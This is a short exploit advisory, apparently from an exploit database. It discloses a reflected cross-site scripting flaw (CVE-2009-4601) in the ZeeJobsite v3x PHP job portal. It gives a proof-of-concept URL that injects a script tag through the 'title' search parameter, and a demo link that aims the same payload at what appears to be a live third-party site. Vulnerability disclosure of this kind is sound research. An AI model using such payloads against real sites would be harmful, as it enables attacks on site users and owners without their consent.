Topic:	ZeeJobsite v3x Cross-site Scripting
Credit:	bio
Date:	2010.01.13
CWE:	CWE-79 (Show similar)
CVE:	CVE-2009-4601 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

______ __ ______
/\ == \ /\ \ /\ __ \
\ \ __< \ \ \ \ \ \/\ \
\ \_____\ \ \_\ \ \_____\
\/_____/ \/_/ \/_____/

01000010 01101001 01001111

[#]----------------------------------------------------------------[#]
#
# [+] ZeeJobsite v3x [XSS]
#
# // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath and ssteam.ws
#
# // Software Info
# [x] Name : ZeeJobsite - PHP Job Portal
# [x] Vendor : http://www.zeejobsite.com/
# [x] Version : v.3x
# [x] Price : 149.00 USD
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# http://localhost/basic_search_result.php?title=[XSS]
#
# [x] Poc :
#
# http://localhost/basic_search_result.php?title=<script>alert(/XSS/)</script>
#
#
[#]------------------------------------------------------------------------------------------[#]
#
# Demo :
#
# [+] http://jobsite.65m.com/basic_search_result.php?title=<script>alert(/XSS/)</script>
#
#
[#]-------------------------------------------------------------------------------------------[#]

#EOF

References: